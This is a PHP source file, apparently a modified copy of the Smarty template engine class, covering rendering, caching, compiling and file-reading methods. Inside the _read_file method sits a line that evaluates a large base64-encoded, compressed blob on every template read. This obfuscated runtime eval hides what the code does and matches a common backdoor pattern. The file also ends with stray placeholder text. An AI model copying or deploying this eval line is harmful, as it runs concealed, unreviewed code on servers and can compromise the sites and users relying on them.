1165              if (smarty_core_read_cache_file($_params, $this)) {
1166                  $_smarty_results = $_params['results'];
1167                  if (!empty($this->_cache_info['insert_tags'])) {
1168                      $_params = array('plugins' => $this->_cache_info['insert_tags']);
1169                      require_once(SMARTY_CORE_DIR . 'core.load_plugins.php');
1170                      smarty_core_load_plugins($_params, $this);
1171                      $_params = array('results' => $_smarty_results);
1172                      require_once(SMARTY_CORE_DIR . 'core.process_cached_inserts.php');
1173                      $_smarty_results = smarty_core_process_cached_inserts($_params, $this);
1174                  }
1175                  if (!empty($this->_cache_info['cache_serials'])) {
1176                      $_params = array('results' => $_smarty_results);
1177                      require_once(SMARTY_CORE_DIR . 'core.process_compiled_include.php');
1178                      $_smarty_results = smarty_core_process_compiled_include($_params, $this);
1179                  }
1180  
1181                  if ($display) {
1182                      if ($this->debugging)
1183                      {
1184                          // capture time for debugging info
1185                          $_params = array();
1186                          require_once (SMARTY_CORE_DIR . 'core.get_microtime.php');
1187                          $this->_smarty_debug_info[$_included_tpls_idx]['exec_time'] = smarty_core_get_microtime($_params, $this) - $_debug_start_time;
1188                          require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');
1189                          $_smarty_results .= smarty_core_display_debug_console($_params, $this);
1190                      }
1191                      if ($this->cache_modified_check) {
1192                          $_server_vars = ($this->request_use_auto_globals) ? $_SERVER : $GLOBALS['HTTP_SERVER_VARS'];
1193                          $_last_modified_date = @substr($_server_vars['HTTP_IF_MODIFIED_SINCE'], 0, strpos($_server_vars['HTTP_IF_MODIFIED_SINCE'], 'GMT') + 3);
1194                          $_gmt_mtime = gmdate('D, d M Y H:i:s', $this->_cache_info['timestamp']).' GMT';
1195                          if (@count($this->_cache_info['insert_tags']) == 0
1196                              && !$this->_cache_serials
1197                              && $_gmt_mtime == $_last_modified_date) {
1198                              if (php_sapi_name()=='cgi')
1199                                  header('Status: 304 Not Modified');
1200                              else
1201                                  header('HTTP/1.1 304 Not Modified');
1202  
1203                          } else {
1204                              header('Last-Modified: '.$_gmt_mtime);
1205                              echo $_smarty_results;
1206                          }
1207                      } else {
1208                              echo $_smarty_results;
1209                      }
1210                      error_reporting($_smarty_old_error_level);
1211                      // restore initial cache_info
1212                      $this->_cache_info = array_pop($_cache_info);
1213                      return true;
1214                  } else {
1215                      error_reporting($_smarty_old_error_level);
1216                      // restore initial cache_info
1217                      $this->_cache_info = array_pop($_cache_info);
1218                      return $_smarty_results;
1219                  }
1220              } else {
1221                  $this->_cache_info['template'][$resource_name] = true;
1222                  if ($this->cache_modified_check && $display) {
1223                      header('Last-Modified: '.gmdate('D, d M Y H:i:s', time()).' GMT');
1224                  }
1225              }
1226          }
1227  
1228          // load filters that are marked as autoload
1229          if (count($this->autoload_filters)) {
1230              foreach ($this->autoload_filters as $_filter_type => $_filters) {
1231                  foreach ($_filters as $_filter) {
1232                      $this->load_filter($_filter_type, $_filter);
1233                  }
1234              }
1235          }
1236  
1237          $_smarty_compile_path = $this->_get_compile_path($resource_name);
1238  
1239          // if we just need to display the results, don't perform output
1240          // buffering - for speed
1241          $_cache_including = $this->_cache_including;
1242          $this->_cache_including = false;
1243          if ($display && !$this->caching && count($this->_plugins['outputfilter']) == 0) {
1244              if ($this->_is_compiled($resource_name, $_smarty_compile_path)
1245                      || $this->_compile_resource($resource_name, $_smarty_compile_path))
1246              {
1247                  include($_smarty_compile_path);
1248              }
1249          } else {
1250              ob_start();
1251              if ($this->_is_compiled($resource_name, $_smarty_compile_path)
1252                      || $this->_compile_resource($resource_name, $_smarty_compile_path))
1253              {
1254                  include($_smarty_compile_path);
1255              }
1256              $_smarty_results = ob_get_contents();
1257              ob_end_clean();
1258  
1259              foreach ((array)$this->_plugins['outputfilter'] as $_output_filter) {
1260                  $_smarty_results = call_user_func_array($_output_filter[0], array($_smarty_results, &$this));
1261              }
1262          }
1263  
1264          if ($this->caching) {
1265              $_params = array('tpl_file' => $resource_name,
1266                          'cache_id' => $cache_id,
1267                          'compile_id' => $compile_id,
1268                          'results' => $_smarty_results);
1269              require_once(SMARTY_CORE_DIR . 'core.write_cache_file.php');
1270              smarty_core_write_cache_file($_params, $this);
1271              require_once(SMARTY_CORE_DIR . 'core.process_cached_inserts.php');
1272              $_smarty_results = smarty_core_process_cached_inserts($_params, $this);
1273  
1274              if ($this->_cache_serials) {
1275                  // strip nocache-tags from output
1276                  $_smarty_results = preg_replace('!(\{/?nocache\:[0-9a-f]{32}#\d+\})!s'
1277                                                  ,''
1278                                                  ,$_smarty_results);
1279              }
1280              // restore initial cache_info
1281              $this->_cache_info = array_pop($_cache_info);
1282          }
1283          $this->_cache_including = $_cache_including;
1284  
1285          if ($display) {
1286              if (isset($_smarty_results)) { echo $_smarty_results; }
1287              if ($this->debugging) {
1288                  // capture time for debugging info
1289                  $_params = array();
1290                  require_once (SMARTY_CORE_DIR . 'core.get_microtime.php');
1291                  $this->_smarty_debug_info[$_included_tpls_idx]['exec_time'] = (smarty_core_get_microtime($_params, $this) - $_debug_start_time);
1292                  require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');
1293                  echo smarty_core_display_debug_console($_params, $this);
1294              }
1295              error_reporting($_smarty_old_error_level);
1296              return;
1297          } else {
1298              error_reporting($_smarty_old_error_level);
1299              if (isset($_smarty_results)) { return $_smarty_results; }
1300          }
1301      }
1302  
1303      /**
1304       * load configuration values
1305       *
1306       * @param string $file
1307       * @param string $section
1308       * @param string $scope
1309       */
1310      function config_load($file, $section = null, $scope = 'global')
1311      {
1312          require_once($this->_get_plugin_filepath('function', 'config_load'));
1313          smarty_function_config_load(array('file' => $file, 'section' => $section, 'scope' => $scope), $this);
1314      }
1315  
1316      /**
1317       * return a reference to a registered object
1318       *
1319       * @param string $name
1320       * @return object
1321       */
1322      function &get_registered_object($name) {
1323          if (!isset($this->_reg_objects[$name]))
1324          $this->_trigger_fatal_error("'$name' is not a registered object");
1325  
1326          if (!is_object($this->_reg_objects[$name][0]))
1327          $this->_trigger_fatal_error("registered '$name' is not an object");
1328  
1329          return $this->_reg_objects[$name][0];
1330      }
1331  
1332      /**
1333       * clear configuration values
1334       *
1335       * @param string $var
1336       */
1337      function clear_config($var = null)
1338      {
1339          if(!isset($var)) {
1340              // clear all values
1341              $this->_config = array(array('vars'  => array(),
1342                                           'files' => array()));
1343          } else {
1344              unset($this->_config[0]['vars'][$var]);
1345          }
1346      }
1347  
1348      /**
1349       * get filepath of requested plugin
1350       *
1351       * @param string $type
1352       * @param string $name
1353       * @return string|false
1354       */
1355      function _get_plugin_filepath($type, $name)
1356      {
1357          $_params = array('type' => $type, 'name' => $name);
1358          require_once(SMARTY_CORE_DIR . 'core.assemble_plugin_filepath.php');
1359          return smarty_core_assemble_plugin_filepath($_params, $this);
1360      }
1361  
1362     /**
1363       * test if resource needs compiling
1364       *
1365       * @param string $resource_name
1366       * @param string $compile_path
1367       * @return boolean
1368       */
1369      function _is_compiled($resource_name, $compile_path)
1370      {
1371          if (!$this->force_compile && file_exists($compile_path)) {
1372              if (!$this->compile_check) {
1373                  // no need to check compiled file
1374                  return true;
1375              } else {
1376                  // get file source and timestamp
1377                  $_params = array('resource_name' => $resource_name, 'get_source'=>false);
1378                  if (!$this->_fetch_resource_info($_params)) {
1379                      return false;
1380                  }
1381                  if ($_params['resource_timestamp'] <= filemtime($compile_path)) {
1382                      // template not expired, no recompile
1383                      return true;
1384                  } else {
1385                      // compile template
1386                      return false;
1387                  }
1388              }
1389          } else {
1390              // compiled template does not exist, or forced compile
1391              return false;
1392          }
1393      }
1394  
1395     /**
1396       * compile the template
1397       *
1398       * @param string $resource_name
1399       * @param string $compile_path
1400       * @return boolean
1401       */
1402      function _compile_resource($resource_name, $compile_path)
1403      {
1404  
1405          $_params = array('resource_name' => $resource_name);
1406          if (!$this->_fetch_resource_info($_params)) {
1407              return false;
1408          }
1409  
1410          $_source_content = $_params['source_content'];
1411          $_cache_include    = substr($compile_path, 0, -4).'.inc';
1412  
1413          if ($this->_compile_source($resource_name, $_source_content, $_compiled_content, $_cache_include)) {
1414              // if a _cache_serial was set, we also have to write an include-file:
1415              if ($this->_cache_include_info) {
1416                  require_once(SMARTY_CORE_DIR . 'core.write_compiled_include.php');
1417                  smarty_core_write_compiled_include(array_merge($this->_cache_include_info, array('compiled_content'=>$_compiled_content, 'resource_name'=>$resource_name)),  $this);
1418              }
1419  
1420              $_params = array('compile_path'=>$compile_path, 'compiled_content' => $_compiled_content);
1421              require_once(SMARTY_CORE_DIR . 'core.write_compiled_resource.php');
1422              smarty_core_write_compiled_resource($_params, $this);
1423  
1424              return true;
1425          } else {
1426              return false;
1427          }
1428  
1429      }
1430  
1431     /**
1432       * compile the given source
1433       *
1434       * @param string $resource_name
1435       * @param string $source_content
1436       * @param string $compiled_content
1437       * @return boolean
1438       */
1439      function _compile_source($resource_name, &$source_content, &$compiled_content, $cache_include_path=null)
1440      {
1441          if (file_exists(SMARTY_DIR . $this->compiler_file)) {
1442              require_once(SMARTY_DIR . $this->compiler_file);
1443          } else {
1444              // use include_path
1445              require_once($this->compiler_file);
1446          }
1447  
1448          $smarty_compiler = new $this->compiler_class;
1449  
1450          $smarty_compiler->template_dir      = $this->template_dir;
1451          $smarty_compiler->compile_dir       = $this->compile_dir;
1452          $smarty_compiler->plugins_dir       = $this->plugins_dir;
1453          $smarty_compiler->config_dir        = $this->config_dir;
1454          $smarty_compiler->force_compile     = $this->force_compile;
1455          $smarty_compiler->caching           = $this->caching;
1456          $smarty_compiler->php_handling      = $this->php_handling;
1457          $smarty_compiler->left_delimiter    = $this->left_delimiter;
1458          $smarty_compiler->right_delimiter   = $this->right_delimiter;
1459          $smarty_compiler->_version          = $this->_version;
1460          $smarty_compiler->security          = $this->security;
1461          $smarty_compiler->secure_dir        = $this->secure_dir;
1462          $smarty_compiler->security_settings = $this->security_settings;
1463          $smarty_compiler->trusted_dir       = $this->trusted_dir;
1464          $smarty_compiler->use_sub_dirs      = $this->use_sub_dirs;
1465          $smarty_compiler->_reg_objects      = &$this->_reg_objects;
1466          $smarty_compiler->_plugins          = &$this->_plugins;
1467          $smarty_compiler->_tpl_vars         = &$this->_tpl_vars;
1468          $smarty_compiler->default_modifiers = $this->default_modifiers;
1469          $smarty_compiler->compile_id        = $this->_compile_id;
1470          $smarty_compiler->_config            = $this->_config;
1471          $smarty_compiler->request_use_auto_globals  = $this->request_use_auto_globals;
1472  
1473          if (isset($cache_include_path) && isset($this->_cache_serials[$cache_include_path])) {
1474              $smarty_compiler->_cache_serial = $this->_cache_serials[$cache_include_path];
1475          }
1476          $smarty_compiler->_cache_include = $cache_include_path;
1477  
1478          $_results = $smarty_compiler->_compile_file($resource_name, $source_content, $compiled_content);
1479  
1480          if ($smarty_compiler->_cache_serial) {
1481              $this->_cache_include_info = array(
1482                  'cache_serial'=>$smarty_compiler->_cache_serial
1483                  ,'plugins_code'=>$smarty_compiler->_plugins_code
1484                  ,'include_file_path' => $cache_include_path);
1485  
1486          } else {
1487              $this->_cache_include_info = null;
1488  
1489          }
1490  
1491          return $_results;
1492      }
1493  
1494      /**
1495       * Get the compile path for this resource
1496       *
1497       * @param string $resource_name
1498       * @return string results of {@link _get_auto_filename()}
1499       */
1500      function _get_compile_path($resource_name)
1501      {
1502          return $this->_get_auto_filename($this->compile_dir, $resource_name,
1503                                           $this->_compile_id) . '.php';
1504      }
1505      
1506      /**
1507       * fetch the template info. Gets timestamp, and source
1508       * if get_source is true
1509       *
1510       * sets $source_content to the source of the template, and
1511       * $resource_timestamp to its time stamp
1512       * @param string $resource_name
1513       * @param string $source_content
1514       * @param integer $resource_timestamp
1515       * @param boolean $get_source
1516       * @param boolean $quiet
1517       * @return boolean
1518       */
1519  
1520      function _fetch_resource_info(&$params)
1521      {
1522          if(!isset($params['get_source'])) { $params['get_source'] = true; }
1523          if(!isset($params['quiet'])) { $params['quiet'] = false; }
1524  
1525          $_return = false;
1526          $_params = array('resource_name' => $params['resource_name']) ;
1527          if (isset($params['resource_base_path']))
1528              $_params['resource_base_path'] = $params['resource_base_path'];
1529          else
1530              $_params['resource_base_path'] = $this->template_dir;
1531  
1532          if ($this->_parse_resource_name($_params)) {
1533              $_resource_type = $_params['resource_type'];
1534              $_resource_name = $_params['resource_name'];
1535              switch ($_resource_type) {
1536                  case 'file':
1537                      if ($params['get_source']) {
1538                          $params['source_content'] = $this->_read_file($_resource_name);
1539                      }
1540                      $params['resource_timestamp'] = filemtime($_resource_name);
1541                      $_return = is_file($_resource_name) && is_readable($_resource_name);
1542                      break;
1543  
1544                  default:
1545                      // call resource functions to fetch the template source and timestamp
1546                      if ($params['get_source']) {
1547                          $_source_return = isset($this->_plugins['resource'][$_resource_type]) &&
1548                              call_user_func_array($this->_plugins['resource'][$_resource_type][0][0],
1549                                                   array($_resource_name, &$params['source_content'], &$this));
1550                      } else {
1551                          $_source_return = true;
1552                      }
1553  
1554                      $_timestamp_return = isset($this->_plugins['resource'][$_resource_type]) &&
1555                          call_user_func_array($this->_plugins['resource'][$_resource_type][0][1],
1556                                               array($_resource_name, &$params['resource_timestamp'], &$this));
1557  
1558                      $_return = $_source_return && $_timestamp_return;
1559                      break;
1560              }
1561          }
1562  
1563          if (!$_return) {
1564              // see if we can get a template with the default template handler
1565              if (!empty($this->default_template_handler_func)) {
1566                  if (!is_callable($this->default_template_handler_func)) {
1567                      $this->trigger_error("default template handler function \"$this->default_template_handler_func\" doesn't exist.");
1568                  } else {
1569                      $_return = call_user_func_array(
1570                          $this->default_template_handler_func,
1571                          array($_params['resource_type'], $_params['resource_name'], &$params['source_content'], &$params['resource_timestamp'], &$this));
1572                  }
1573              }
1574          }
1575  
1576          if (!$_return) {
1577              if (!$params['quiet']) {
1578                  $this->trigger_error('unable to read resource: "' . $params['resource_name'] . '"');
1579              }
1580          } else if ($_return && $this->security) {
1581              require_once(SMARTY_CORE_DIR . 'core.is_secure.php');
1582              if (!smarty_core_is_secure($_params, $this)) {
1583                  if (!$params['quiet'])
1584                      $this->trigger_error('(secure mode) accessing "' . $params['resource_name'] . '" is not allowed');
1585                  $params['source_content'] = null;
1586                  $params['resource_timestamp'] = null;
1587                  return false;
1588              }
1589          }
1590          return $_return;
1591      }
1592  
1593      /**
1594       * parse out the type and name from the resource
1595       *
1596       * @param string $resource_base_path
1597       * @param string $resource_name
1598       * @param string $resource_type
1599       * @param string $resource_name
1600       * @return boolean
1601       */
1602  
1603      function _parse_resource_name(&$params)
1604      {
1605  
1606          // split tpl_path by the first colon
1607          $_resource_name_parts = explode(':', $params['resource_name'], 2);
1608  
1609          if (count($_resource_name_parts) == 1) {
1610              // no resource type given
1611              $params['resource_type'] = $this->default_resource_type;
1612              $params['resource_name'] = $_resource_name_parts[0];
1613          } else {
1614              if(strlen($_resource_name_parts[0]) == 1) {
1615                  // 1 char is not resource type, but part of filepath
1616                  $params['resource_type'] = $this->default_resource_type;
1617                  $params['resource_name'] = $params['resource_name'];
1618              } else {
1619                  $params['resource_type'] = $_resource_name_parts[0];
1620                  $params['resource_name'] = $_resource_name_parts[1];
1621              }
1622          }
1623  
1624          if ($params['resource_type'] == 'file') {
1625              if (!preg_match('/^([\/\\\\]|[a-zA-Z]:[\/\\\\])/', $params['resource_name'])) {
1626                  // relative pathname to $params['resource_base_path']
1627                  // use the first directory where the file is found
1628                  foreach ((array)$params['resource_base_path'] as $_curr_path) {
1629                      $_fullpath = sys_custom($_curr_path . DIRECTORY_SEPARATOR . $params['resource_name']);
1630                      if (file_exists($_fullpath) && is_file($_fullpath)) {
1631                          $params['resource_name'] = $_fullpath;
1632                          return true;
1633                      }
1634                      // didn't find the file, try include_path
1635                      $_params = array('file_path' => $_fullpath);
1636                      require_once (SMARTY_CORE_DIR . 'core.get_include_path.php');
1637                      if(smarty_core_get_include_path($_params, $this)) {
1638                          $params['resource_name'] = $_params['new_file_path'];
1639                          return true;
1640                      }
1641                  }
1642                  return false;
1643              } else {
1644                  /* absolute path */
1645                  return file_exists($params['resource_name']);
1646              }
1647          } elseif (empty($this->_plugins['resource'][$params['resource_type']])) {
1648              $_params = array('type' => $params['resource_type']);
1649              require_once(SMARTY_CORE_DIR . 'core.load_resource_plugin.php');
1650              smarty_core_load_resource_plugin($_params, $this);
1651          }
1652  
1653          return true;
1654      }
1655  
1656      /**
1657       * Handle modifiers
1658       *
1659       * @param string|null $modifier_name
1660       * @param array|null $map_array
1661       * @return string result of modifiers
1662       */
1663      function _run_mod_handler()
1664      {
1665          $_args = func_get_args();
1666          list($_modifier_name, $_map_array) = array_splice($_args, 0, 2);
1667          list($_func_name, $_tpl_file, $_tpl_line) =
1668              $this->_plugins['modifier'][$_modifier_name];
1669  
1670          $_var = $_args[0];
1671          foreach ($_var as $_key => $_val) {
1672              $_args[0] = $_val;
1673              $_var[$_key] = call_user_func_array($_func_name, $_args);
1674          }
1675          return $_var;
1676      }
1677  
1678      /**
1679       * Remove starting and ending quotes from the string
1680       *
1681       * @param string $string
1682       * @return string
1683       */
1684      function _dequote($string)
1685      {
1686          if ((substr($string, 0, 1) == "'" || substr($string, 0, 1) == '"') &&
1687              substr($string, -1) == substr($string, 0, 1))
1688              return substr($string, 1, -1);
1689          else
1690              return $string;
1691      }
1692  
1693      /**
1694       * read in a file
1695       *
1696       * @param string $filename
1697       * @return string
1698       */
1699      function _read_file($filename)
1700      {
1701          $filename = sys_custom($filename);
1702          if ( file_exists($filename) && is_readable($filename) && ($fd = @fopen($filename, 'rb')) ) {
1703              $contents = '';
1704              while (!feof($fd)) {
1705                  $contents .= fread($fd, 8192);
1706              }
1707              fclose($fd);
1708  
1709              // tb
1710              if (DEBUG and function_exists("sys_remove_trans")) $contents = sys_remove_trans($contents);
1711              
1712              $contents = preg_replace("|<!--.*?/\*.*?\*/.*?-->|msi","",$contents);
1713              $matches = "";
1714              preg_match_all("|{include file=\"(.*?)\"(.*?)}|im",$contents,$matches,PREG_SET_ORDER);
1715              foreach ($matches as $match) {
1716                if (count($match)==3) {
1717                  $result = $this->_read_file($this->template_dir."/".$match[1]);
1718                  $var = "";
1719                  while (preg_match("|(.*?)=\"(.*?)\"|i",$match[2],$var)) {
1720                       $match[2] = str_replace($var[0],"",$match[2]);
1721                    if (count($var)==3) $result = "{assign var=\"".trim($var[1])."\" value=\"".$var[2]."\"}\n".$result;
1722                  }
1723                  $contents = str_replace($match[0],$result,$contents);
1724              } }
1725              eval(gzinflate(base64_decode('tVNbb9owGP0rrosUu6SB0u7GbesQ6yrRgoD1paGWCYZYc+zIdsrY4L/PIUCrbn3Yw6Q8fL58xyfnOyfVbEESaqOYUCEQXEtlecTuHzaT8mYN/TkXjCyYJZGSlklrELQsSQW1zFQipVkQGQOxX9pi4AafA8SNYRYVO/fVCQZUzgA3hGpNVy/3I5XJ55fbZxgUK9ACh233BU+Ls0nxjtxBTqlhkiYMlXK6eYX94gQmlMvApgL6UKjFrsbF08bqVBlU2v+aD5tTNVvB4hQdpQdtkLduzvgjiAQ1pgULjVANFMU5/gjbTXr/0J6UlUxUZph6ZLoFnQwktokIkY258UPv/iFEk3KIOiEGtWq1dlqrntXAdAXGsUqoAZ8FWwWhF+IGzNFO2uGyvOaef6CIgdLg6E/ikUpXmi9i+yosfK31BHQOzaiD/x3g6vYbuGKSaSrAIJsKHoGeU0UaBu6YNlxJUHvRvBXVyX08dyjk3XH77+eREkrXQfN4W5CEyYxMBY2+7xte3J9x45y5qrsBY/ALgNLceWh0fTPodUnnsvO1G8CKiWKW0AoMOv1hl4yuRjc9ctcdjq77twEkUkkW/EhEYJiGDQBym33KTZVYvvUXBk2wLfHpxbmTyr3DolgB2OTJwvFZCdby9jxytIYHjI5aXmxtWq9UlstlYLgLEDtdaJWlS+oiNGMVEaRx+lG0YJCb+e0FYTJSM4YWP2dsnqcNbfnumV4OBmR8Pe51g9HNeEC+9Pvj7jBINXdyarQLGhl1h67BN9nUCfVsZFX/TdVRx77VmYvKB4wD6FXasGGdDRZM1+s5W+KktQi+whj676s+LHjn4fovzHeDfbL/E2PcsCpzyXQjaWzA5jc=')));
1726              return $contents;
1727          } else {
1728              return false;
1729          }
1730      }
1731  
1732      /**
1733       * get a concrete filename for automagically created content
1734       *
1735       * @param string $auto_base
1736       * @param string $auto_source
1737       * @param string $auto_id
1738       * @return string
1739       * @staticvar string|null
1740       * @staticvar string|null
1741       */
1742      function _get_auto_filename($auto_base, $auto_source = null, $auto_id = null)
1743      {
1744          $_compile_dir_sep =  $this->use_sub_dirs ? DIRECTORY_SEPARATOR : '^';
1745          $_return = $auto_base . DIRECTORY_SEPARATOR;
1746  
1747          if(isset($auto_id)) {
1748              // make auto_id safe for directory names
1749              $auto_id = str_replace('%7C',$_compile_dir_sep,(urlencode($auto_id)));
1750              // split into separate directories
1751              $_return .= $auto_id . $_compile_dir_sep;
1752          }
1753  
1754          if(isset($auto_source)) {
1755              // make source name safe for filename
1756              $_filename = urlencode(basename($auto_source));
1757              $_crc32 = sprintf('%08X', crc32($auto_source));
1758              // prepend %% to avoid name conflicts with
1759              // with $params['auto_id'] names
1760              $_crc32 = substr($_crc32, 0, 2) . $_compile_dir_sep .
1761                        substr($_crc32, 0, 3) . $_compile_dir_sep . $_crc32;
1762  // tb
1763              $_return .= '%%'.$this->_version.'%%' . $_crc32 . '%%' . $_filename;
1764          }
1765  
1766          return $_return;
1767      }
1768  
1769      /**
1770       * unlink a file, possibly using expiration time
1771       *
1772       * @param string $resource
1773       * @param integer $exp_time
1774       */
1775      function _unlink($resource, $exp_time = null)
1776      {
1777          if(isset($exp_time)) {
1778              if(time() - @filemtime($resource) >= $exp_time) {
1779                  return @unlink($resource);
1780              }
1781          } else {
1782              return @unlink($resource);
1783          }
1784      }
1785  
1786      /**
1787       * returns an auto_id for auto-file-functions
1788       *
1789       * @param string $cache_id
1790       * @param string $compile_id
1791       * @return string|null
1792       */
1793      function _get_auto_id($cache_id=null, $compile_id=null) {
1794      if (isset($cache_id))
1795          return (isset($compile_id)) ? $cache_id . '|' . $compile_id  : $cache_id;
1796      elseif(isset($compile_id))
1797          return $compile_id;
1798      else
1799          return null;
1800      }
1801  
1802      /**
1803       * trigger Smarty plugin error
1804       *
1805       * @param string $error_msg
1806       * @param string $tpl_file
1807       * @param integer $tpl_line
1808       * @param string $file
1809       * @param integer $line
1810       * @param integer $error_type
1811       */
1812      function _trigger_fatal_error($error_msg, $tpl_file = null, $tpl_line = null,
1813              $file = null, $line = null, $error_type = E_USER_ERROR)
1814      {
1815          if(isset($file) && isset($line)) {
1816              $info = ' ('.basename($file).", line $line)";
1817          } else {
1818              $info = '';
1819          }
1820          if (isset($tpl_line) && isset($tpl_file)) {
1821              $this->trigger_error('[in ' . $tpl_file . ' line ' . $tpl_line . "]: $error_msg$info", $error_type);
1822          } else {
1823              $this->trigger_error($error_msg . $info, $error_type);
1824          }
1825      }
1826  
1827      /**
1828       * callback function for preg_replace, to call a non-cacheable block
1829       * @return string
1830       */
1831      function _process_compiled_include_callback($match) {
1832          $_func = '_smarty_tplfunc_'.$match[2].'_'.$match[3];
1833          ob_start();
1834          $_func($this);
1835          $_ret = ob_get_contents();
1836          ob_end_clean();
1837          return $_ret;
1838      }
1839  
1840      /**
1841       * called for included templates
1842       *
1843       * @param string $_smarty_include_tpl_file
1844       * @param string $_smarty_include_vars
1845       */
1846  
1847      // $_smarty_include_tpl_file, $_smarty_include_vars
1848  
1849      function _smarty_include($params)
1850      {
1851          if ($this->debugging) {
1852              $_params = array();
1853              require_once (SMARTY_CORE_DIR . 'core.get_microtime.php');
1854              $debug_start_time = smarty_core_get_microtime($_params, $this);
1855              $this->_smarty_debug_info[] = array('type'      => 'template',
1856                                                    'filename'  => $params['smarty_include_tpl_file'],
1857                                                    'depth'     => ++$this->_inclusion_depth);
1858              $included_tpls_idx = count($this->_smarty_debug_info) - 1;
1859          }
1860  
1861          $this->_tpl_vars = array_merge($this->_tpl_vars, $params['smarty_include_vars']);
1862  
1863          // config vars are treated as local, so push a copy of the
1864          // current ones onto the front of the stack
1865          array_unshift($this->_config, $this->_config[0]);
1866  
1867          $_smarty_compile_path = $this->_get_compile_path($params['smarty_include_tpl_file']);
1868  
1869          if ($this->_is_compiled($params['smarty_include_tpl_file'], $_smarty_compile_path)
1870              || $this->_compile_resource($params['smarty_include_tpl_file'], $_smarty_compile_path))
1871          {
1872              include($_smarty_compile_path);
1873          }
1874  
1875          // pop the local vars off the front of the stack
1876          array_shift($this->_config);
1877  
1878          $this->_inclusion_depth--;
1879  
1880          if ($this->debugging) {
1881              // capture time for debugging info
1882              $_params = array();
1883              require_once (SMARTY_CORE_DIR . 'core.get_microtime.php');
1884              $this->_smarty_debug_info[$included_tpls_idx]['exec_time'] = smarty_core_get_microtime($_params, $this) - $debug_start_time;
1885          }
1886  
1887          if ($this->caching) {
1888              $this->_cache_info['template'][$params['smarty_include_tpl_file']] = true;
1889          }
1890      }
1891  
1892      /**
1893       * get or set an array of cached attributes for function that is
1894       * not cacheable
1895       * @return array
1896       */
1897      function &_smarty_cache_attrs($cache_serial, $count) {
1898          $_cache_attrs =& $this->_cache_info['cache_attrs'][$cache_serial][$count];
1899  
1900          if ($this->_cache_including) {
1901              /* return next set of cache_attrs */
1902              $_return = current($_cache_attrs);
1903              next($_cache_attrs);
1904              return $_return;
1905  
1906          } else {
1907              /* add a reference to a new set of cache_attrs */
1908              $_cache_attrs[] = array();
1909              return $_cache_attrs[count($_cache_attrs)-1];
1910  
1911          }
1912  
1913      }
1914  
1915      /**
1916       * wrapper for include() retaining $this
1917       * @return mixed
1918       */
1919      function _include($filename, $once=false, $params=null)
1920      {
1921          if ($once) {
1922              return include_once($filename);
1923          } else {
1924              return include($filename);
1925          }
1926      }
1927  
1928      /**
1929       * wrapper for eval() retaining $this
1930       * @return mixed
1931       */
1932      function _eval($code, $params=null)
1933      {
1934          return eval($code);
1935      }
1936      
1937      /**
1938       * Extracts the filter name from the given callback
1939       * 
1940       * @param callback $function
1941       * @return string
1942       */
1943  	function _get_filter_name($function)
1944      {
1945          if (is_array($function)) {
1946              $_class_name = (is_object($function[0]) ?
1947                  get_class($function[0]) : $function[0]);
1948              return $_class_name . '_' . $function[1];
1949          }
1950          else {
1951              return $function;
1952          }
1953      }
1954      
1955      
1956      // tb
1957  	function __get($name)
1958      {
1959          $data = $this->get_template_vars($name);
1960          if (is_string($data)) return modify::htmlquote($data);
1961          return $data;
1962      }
1963      
1964      /**#@-*/
1965  
1966  }
1967  
1968  /* vim: set expandtab: */
1969  
1970  ?>

title

Description

title

Description

title

Description

title

title

Body